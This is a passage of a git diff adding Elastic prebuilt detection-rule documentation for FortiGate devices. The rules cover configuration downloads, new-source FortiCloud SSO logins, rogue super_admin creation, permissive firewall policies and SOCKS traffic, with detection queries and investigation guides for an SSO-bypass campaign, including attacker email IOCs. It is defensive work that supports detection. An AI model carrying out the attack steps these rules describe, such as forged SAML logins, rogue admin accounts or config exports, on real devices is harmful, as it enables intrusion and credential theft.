"fortinet_fortigate.log" and + event.category == "authentication" and event.action == "login" and + event.outcome == "success" and source.user.roles == "Administrator" and + source.user.name is not null and source.ip is not null +| stats Esql.logon_count = count(*), + Esql.source_ip_count_distinct = COUNT_DISTINCT(source.ip), + Esql.max_timestamp = MAX(@timestamp), + Esql.source_ip_values = VALUES(source.ip), + Esql.message_values = VALUES(message), + Esql.source_geo_country_name_values = VALUES(source.geo.country_name) by source.user.name + +// last logon event timestamp is within 6m of the rule execution time to avoid duplicates +| eval Esql.recent = DATE_DIFF("minute", Esql.max_timestamp, now()) +| where Esql.recent <= 6 and Esql.logon_count >= 2 and Esql.source_ip_count_distinct >= 2 + +// move dynamic fields to ECS equivalent for rule exceptions +| eval source.ip = MV_FIRST(Esql.source_ip_values) + +| keep source.ip, source.user.name, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-configuration-file-downloaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-configuration-file-downloaded.asciidoc new file mode 100644 index 0000000000..4db29fb0ad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-configuration-file-downloaded.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-fortigate-configuration-file-downloaded]] +=== FortiGate Configuration File Downloaded + +This rule detects the download of a FortiGate device configuration file. Configuration exports contain sensitive data including administrator password hashes, LDAP bind credentials, VPN pre-shared keys, routing tables, and firewall policies. Threat actors exploiting CVE-2026-24858 have been observed exporting the full device configuration immediately after gaining access to harvest credentials and map the internal network. + +*Rule type*: eql + +*Rule indices*: + +* logs-fortinet_fortigate.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Credential Access +* Resources: Investigation Guide +* Domain: Network +* Data Source: Fortinet +* Data Source: Fortinet FortiGate + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate Configuration File Downloaded* + + +This alert indicates that a FortiGate device configuration file was downloaded. Configuration files contain highly sensitive information including administrator credentials, LDAP/RADIUS secrets, VPN pre-shared keys, certificate private keys, and the complete network topology. + +In the FG-IR-26-060 campaign, threat actors exported the full device configuration shortly after creating rogue administrator accounts, using the harvested credentials for lateral movement and to maintain access through alternative channels. + + +*Possible investigation steps* + + +- Review `source.user.name` to determine which account initiated the download and `fortinet.firewall.ui` for the source interface and IP address (e.g., GUI, CLI, or API). Verify whether this administrator is authorized to export device configurations. +- Check whether a scheduled backup process or configuration management tool performed this action. Look for preceding SSO login events or administrator account creation events on the same device and determine whether the downloading account was recently created. +- Check `observer.name` to identify which device had its configuration exported and search for configuration download events across other FortiGate devices in the fleet. +- Check for firewall policy changes, VPN configuration modifications, or additional admin account creation after the download. Determine whether any credentials from the configuration have been used for lateral movement. + + +*False positive analysis* + + +- Scheduled configuration backups performed by FortiManager, Ansible, or other automation tools. +- Administrator-initiated backups during planned maintenance or before firmware upgrades. +- Configuration audits or compliance checks that require config export. + + +*Response and remediation* + + +- If unauthorized, treat all credentials in the configuration as compromised. Rotate all passwords, pre-shared keys, LDAP bind credentials, and RADIUS secrets contained in the configuration. +- Revoke and reissue any certificates whose private keys were included in the export. +- Audit the administrator account that performed the download for compromise and check for other indicators of compromise on the device (rogue admins, policy changes). +- If the activity is expected, document the backup activity and verify it was performed through an authorized process. Ensure configuration backups are stored securely with appropriate access controls. + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "fortinet_fortigate.log" and + event.code == "0100032095" and + fortinet.firewall.action == "download" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Configuration Repository +** ID: T1602 +** Reference URL: https://attack.mitre.org/techniques/T1602/ +* Sub-technique: +** Name: Network Device Configuration Dump +** ID: T1602.002 +** Reference URL: https://attack.mitre.org/techniques/T1602/002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-forticloud-sso-login-from-unusual-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-forticloud-sso-login-from-unusual-source.asciidoc new file mode 100644 index 0000000000..5062f4a4ad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-forticloud-sso-login-from-unusual-source.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-fortigate-forticloud-sso-login-from-unusual-source]] +=== FortiGate FortiCloud SSO Login from Unusual Source + +This rule detects the first successful FortiCloud SSO login from a previously unseen source IP address to a FortiGate device within the last 5 days. FortiCloud SSO logins from new source IPs may indicate exploitation of SAML-based authentication bypass vulnerabilities such as CVE-2026-24858, where crafted SAML assertions allow unauthorized access to FortiGate devices registered to other accounts. Environments that regularly use FortiCloud SSO will only alert on new source IPs not seen in the lookback window. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate FortiCloud SSO Login from Unusual Source* + + +This alert indicates that a FortiCloud SSO login was observed from a source IP address not previously seen authenticating via SSO in the last 5 days. This is a high-value signal because it filters out routine SSO access from known management IPs and only fires on novel source addresses. + +CVE-2026-24858 (FG-IR-26-060) allows attackers with a FortiCloud account and a registered device to craft SAML assertions that authenticate them as administrators on other FortiGate devices when FortiCloud SSO is enabled. This vulnerability has been actively exploited in the wild. + + +*Possible investigation steps* + + +- Check `source.ip` against known corporate management networks, VPN egress points, and jump hosts. Investigate the IP's ASN and geolocation, as attacker IPs have been observed from The Constant Company LLC, BL Networks, Kaopu Cloud HK Limited, and Cloudflare-protected ranges. +- Determine whether this IP has been seen in any other authentication context across the environment. +- Check `Esql.user_values` for the SSO account name (typically an email address) and verify the account belongs to the organization. Compare against known attacker email IOCs: cloud-noc@mail.io, cloud-init@mail.io, heltaylor.12@tutamail.com, support@openmail.pro. +- Check `Esql.observer_name_values` to identify which FortiGate device was accessed and confirm whether FortiCloud SSO is intentionally enabled on the device. +- Look for local administrator account creation, configuration exports, firewall policy changes, or VPN user/group creation immediately following the SSO login. The observed attack pattern involves rogue admin creation within seconds of login. + + +*False positive analysis* + + +- Administrators connecting from a new office location, hotel, or home network for the first time may trigger this alert. +- FortiCloud SSO access after IP address changes such as ISP rotation or VPN egress changes can appear as a new source IP. +- First login after FortiCloud SSO is initially enabled on a device will fire since no historical SSO logins exist. + + +*Response and remediation* + + +- If the activity is unauthorized, disable FortiCloud SSO immediately using `config system global` > `set admin-forticloud-sso-login disable`. +- Audit all administrator accounts for unauthorized additions and review and restore configuration from a known-clean backup. +- Rotate all credentials including any LDAP/AD accounts connected to the device. +- Upgrade FortiOS to a patched version. +- If the activity is expected, document the new source IP and consider adding an exception if it represents a new management location. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-fortinet_fortigate.* metadata _id, _version, _index + +| WHERE data_stream.dataset == "fortinet_fortigate.log" and + event.category == "authentication" and event.action == "login" and + event.outcome == "success" and + (fortinet.firewall.method == "sso" or fortinet.firewall.ui like "sso*") and + source.ip is not null +| STATS Esql.logon_count = COUNT(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.user_values = VALUES(source.user.name), + Esql.observer_name_values = VALUES(observer.name), + Esql.message_values = VALUES(message) BY source.ip + +// first time seen is within 6m of the rule execution time and for the last 5d of events history +| EVAL Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) +| WHERE Esql.recent <= 6 AND Esql.logon_count == 1 + +// move dynamic fields to ECS equivalent for rule exceptions +| EVAL source.user.name = MV_FIRST(Esql.user_values) + +| KEEP source.ip, source.user.name, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forge Web Credentials +** ID: T1606 +** Reference URL: https://attack.mitre.org/techniques/T1606/ +* Sub-technique: +** Name: SAML Tokens +** ID: T1606.002 +** Reference URL: https://attack.mitre.org/techniques/T1606/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-overly-permissive-firewall-policy-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-overly-permissive-firewall-policy-created.asciidoc new file mode 100644 index 0000000000..211d8485c6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-overly-permissive-firewall-policy-created.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-21-fortigate-overly-permissive-firewall-policy-created]] +=== FortiGate Overly Permissive Firewall Policy Created + +This rule detects the creation or modification of a FortiGate firewall policy that permits all sources, all destinations, and all services. An overly permissive policy effectively bypasses all firewall protections. Threat actors exploiting CVE-2026-24858 have been observed creating such policies to allow unrestricted traffic flow through compromised FortiGate devices. + +*Rule type*: eql + +*Rule indices*: + +* logs-fortinet_fortigate.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Domain: Network +* Data Source: Fortinet +* Data Source: Fortinet FortiGate + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate Overly Permissive Firewall Policy Created* + + +This alert indicates that a firewall policy was created or modified on a FortiGate device with source address `all`, destination address `all`, and service `ALL`. This configuration effectively disables firewall enforcement for traffic matching the policy. + +In the FG-IR-26-060 campaign, threat actors created these permissive policies to ensure their traffic could traverse the firewall without restriction. + + +*Possible investigation steps* + + +- Review `source.user.name` to determine which account created or modified the policy and `fortinet.firewall.ui` for the source interface and IP address. Verify whether this administrator is authorized to make firewall policy changes. +- Examine `fortinet.firewall.cfgattr` for the full policy configuration including interfaces, NAT settings, and scheduling. Check `fortinet.firewall.cfgobj` for the affected policy ID and determine whether the policy is positioned to intercept traffic (policy ordering matters). +- Look for administrator account creation, SSO login events, or configuration exports preceding this change. Determine whether the administrator account itself was recently created. +- Identify which interfaces the policy applies to (srcintf/dstintf in cfgattr) and determine whether the policy enables inbound, outbound, or both directions of unrestricted traffic. + + +*False positive analysis* + + +- Temporary troubleshooting policies created during network diagnostics (should be time-limited and removed). +- Initial device setup or lab environments where broad policies are intentionally configured. +- Migration or cutover scenarios where temporary permissive rules are needed. + + +*Response and remediation* + + +- If unauthorized, immediately delete the permissive firewall policy and audit the administrator account that created it for compromise. +- Review all other firewall policies for unauthorized modifications and check for other indicators of compromise on the device (rogue admins, VPN users). +- Restore the policy configuration from a known-clean backup. +- If the activity is expected, document the business justification and ensure a removal timeline is defined. Replace with specific source/destination/service rules as soon as possible. + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "fortinet_fortigate.log" and + event.code == "0100044547" and + fortinet.firewall.cfgpath == "firewall.policy" and + fortinet.firewall.action in ("Add", "Edit") and + fortinet.firewall.cfgattr like~ "*srcaddr[all]*" and + fortinet.firewall.cfgattr like~ "*dstaddr[all]*" and + fortinet.firewall.cfgattr like~ "*service[all]*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-socks-traffic-from-an-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-socks-traffic-from-an-unusual-process.asciidoc new file mode 100644 index 0000000000..d592e1a46a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-socks-traffic-from-an-unusual-process.asciidoc @@ -0,0 +1,111 @@ +[[prebuilt-rule-8-19-21-fortigate-socks-traffic-from-an-unusual-process]] +=== FortiGate SOCKS Traffic from an Unusual Process + +This detection correlates FortiGate's application control SOCKS events with Elastic Defend network event to identify the source process performing SOCKS traffic. Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-fortinet_fortigate.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1090/ +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.elastic.co/docs/reference/integrations/endpoint + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Fortinet +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate SOCKS Traffic from an Unusual Process* + + + +*Possible investigation steps* + + +- Review the process details like command_line, privileges, global relevance and reputation. +- Review the parent process execution details like command_line, global relevance and reputation. +- Examine all network connection details performed by the process during last 48h. +- Examine all localhost network connections performed by the same process to verify if there is any port forwarding with another process on the same machine. +- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise related to the same process or network activity. + + +*False positive analysis* + + +- Browser proxy extensions and Add-ons. +- Development and deployment tools. +- Third party trusted tools using SOCKS for network communication. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the suspicious processes and all associated children and parents. +- Conduct a thorough review of the system's configuration files to identify unauthorized changes. +- Reset credentials for any accounts associated with the source machine. +- Implement network-level controls to block traffic via SOCKS unless authorized. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by source.port, source.ip, destination.ip with maxspan=1m + [network where data_stream.dataset == "fortinet_fortigate.log" and event.action == "signature" and network.application in ("SOCKS4", "SOCKS5")] + [network where event.module == "endpoint" and event.action in ("disconnect_received", "connection_attempted")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-ssl-vpn-login-followed-by-siem-alert-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-ssl-vpn-login-followed-by-siem-alert-by-user.asciidoc new file mode 100644 index 0000000000..fbc861962d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-ssl-vpn-login-followed-by-siem-alert-by-user.asciidoc @@ -0,0 +1,105 @@ +[[prebuilt-rule-8-19-21-fortigate-ssl-vpn-login-followed-by-siem-alert-by-user]] +=== FortiGate SSL VPN Login Followed by SIEM Alert by User + +Detects when a FortiGate SSL VPN login event is followed by any SIEM detection alert for the same user name within a short time window. This correlation can indicate abuse of VPN access for malicious activity, credential compromise used from a VPN session, or initial access via VPN followed by post-compromise behavior. + +*Rule type*: eql + +*Rule indices*: + +* logs-fortinet_fortigate.log-* +* .alerts-security.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/tactics/TA0001/ +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Tactic: Initial Access +* Data Source: Fortinet +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate SSL VPN Login Followed by SIEM Alert by User* + + +This rule correlates a FortiGate SSL VPN login with a subsequent security alert for the same user name, highlighting possible abuse of VPN access or activity shortly after remote access. + + +*Possible investigation steps* + + +- Review the FortiGate login event (source IP, user, time) and the SIEM alert(s) that followed for the same user. +- Determine whether the user is expected to use VPN and whether the subsequent alert is related to legitimate work (e.g. admin tools, updates). +- Check for other alerts or logins for the same user in the same time window to assess scope. +- Correlate with authentication logs to identify impossible travel or credential reuse from the VPN session. + + +*False positive analysis* + + +- Legitimate VPN users triggering detections (e.g. scripted tasks, admin tooling) after login. +- Security scans or automated jobs that run in the context of a VPN-authenticated user. + + +*Response and remediation* + + +- If abuse or compromise is suspected, disable or reset the user’s VPN access and credentials. +- Investigate the host and process associated with the SIEM alert. +- Escalate to the security or incident response team if the alert indicates malicious activity. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by user.name with maxspan=10m + [authentication where data_stream.dataset == "fortinet_fortigate.log" and event.action == "login" and event.code in ("0101039426", "0101039427") and + user.name != "root"] + [any where event.kind == "signal" and kibana.alert.rule.name != null and data_stream.dataset != "fortinet_fortigate.log" and + kibana.alert.risk_score > 21 and kibana.alert.rule.rule_id != "a7f2c1b4-5d8e-4f3a-9b0c-2e1d4a6b8f3e" and user.name != null] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-sso-login-followed-by-administrator-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-sso-login-followed-by-administrator-account-creation.asciidoc new file mode 100644 index 0000000000..e4761bf95a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-sso-login-followed-by-administrator-account-creation.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-21-fortigate-sso-login-followed-by-administrator-account-creation]] +=== FortiGate SSO Login Followed by Administrator Account Creation + +This rule detects a FortiCloud SSO login followed by administrator account creation on the same FortiGate device within 15 minutes. This sequence is a high-confidence indicator of the FG-IR-26-060 attack pattern, where threat actors authenticate via SAML-based SSO bypass and immediately create local administrator accounts for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-fortinet_fortigate.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate SSO Login Followed by Administrator Account Creation* + + +This alert indicates that a FortiCloud SSO login was followed by an administrator account creation event on the same FortiGate device within 15 minutes. This two-event sequence is the core attack pattern observed in the FG-IR-26-060 campaign. + +The attack flow is: authenticate via FortiCloud SSO using a crafted SAML assertion, then immediately create local administrator accounts to maintain access even after the SSO vulnerability is patched. + + +*Possible investigation steps* + + +- Review the SSO login event for the FortiCloud account used and the source IP. Determine whether the SSO account belongs to the organization. +- Check the admin creation event for the names of accounts created and the access profiles assigned (especially super_admin). +- Assess the timing between events. In the observed campaign, admin creation occurs within seconds of SSO login. A tight time correlation is a strong indicator of compromise. +- Review `observer.name` to identify the targeted device and verify whether FortiCloud SSO is intentionally enabled. Run `get system admin` to list all current administrator accounts. +- Check whether the same SSO account or source IP targeted other devices. Look for configuration exports, firewall policy changes, or VPN modifications following the admin creation. + + +*False positive analysis* + + +- An authorized administrator logging in via FortiCloud SSO and creating a new admin account as part of normal operations. +- Initial device onboarding where SSO login and account setup occur in the same session. + + +*Response and remediation* + + +- If unauthorized, delete all administrator accounts created during the session and disable FortiCloud SSO immediately. +- Restore configuration from a known-clean backup and rotate all credentials including LDAP/AD accounts connected to the device. +- Upgrade FortiOS to a patched version and engage incident response for the affected device and any downstream systems. +- If the activity is expected, document the administrative session and verify it was authorized. Consider creating accounts through a separate session to avoid triggering this correlation. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by observer.name with maxspan=15m + [authentication where data_stream.dataset == "fortinet_fortigate.log" and + event.action == "login" and event.outcome == "success" and + (fortinet.firewall.method == "sso" or fortinet.firewall.ui like~ "sso*")] + [any where data_stream.dataset == "fortinet_fortigate.log" and + event.code == "0100044547" and + fortinet.firewall.cfgpath == "system.admin" and + fortinet.firewall.action == "Add"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-super-admin-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-super-admin-account-creation.asciidoc new file mode 100644 index 0000000000..c3dc637b8c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-super-admin-account-creation.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-21-fortigate-super-admin-account-creation]] +=== FortiGate Super Admin Account Creation + +This rule detects the creation of an administrator account on a FortiGate device. Administrator account creation on these devices should be infrequent and tightly controlled. In the FG-IR-26-060 campaign, threat actors created super_admin accounts immediately after gaining initial access via FortiCloud SSO bypass to establish persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-fortinet_fortigate.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate Super Admin Account Creation* + + +This alert indicates that an administrator account was created on a FortiGate device. Administrator creation events on these devices are generally rare and should be closely scrutinized, as they are a key persistence mechanism used in the FG-IR-26-060 campaign. + +In the observed campaign, threat actors created multiple super_admin accounts (audit, backup, support, itadmin, secadmin, remoteadmin) within seconds of initial access to ensure persistent control even if individual accounts are discovered and removed. + + +*Possible investigation steps* + + +- Review `fortinet.firewall.cfgobj` for the name of the newly created account and examine `fortinet.firewall.cfgattr` to determine the access profile assigned to the account (especially super_admin). +- Review `source.user.name` to determine which account performed the creation and `fortinet.firewall.ui` for the source interface and IP address. Verify whether this administrator is authorized to provision accounts. +- Check whether a login event (especially via SSO) occurred shortly before the account creation. Analyze the timing between events. +- Check `observer.name` to identify the FortiGate device and run `get system admin` to get the current administrator list. Check other FortiGate devices in the fleet for the same account name. + + +*False positive analysis* + + +- Authorized provisioning of a new administrator account through an approved change management process. +- Initial device setup where administrator accounts are created as part of deployment. +- Migration or device replacement scenarios where accounts are replicated from another device. + + +*Response and remediation* + + +- If unauthorized, delete the administrator account immediately and audit the creating account for compromise. +- Treat the device configuration as compromised and restore from a known-clean backup. +- Check all FortiGate devices for similar account creation and upgrade FortiOS to a patched version. +- If the activity is expected, document the provisioning activity and the business justification. + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "fortinet_fortigate.log" and + event.code == "0100044547" and + fortinet.firewall.cfgpath == "system.admin" and + fortinet.firewall.action == "Add" and + fortinet.firewall.cfgattr like~ "*accprofile[super_admin]*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-forwarded-google-workspace-security-alert.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-forwarded-google-workspace-security-alert.asciidoc new file mode 100644 index 0000000000..b53d232c16 --- /dev/null +++ 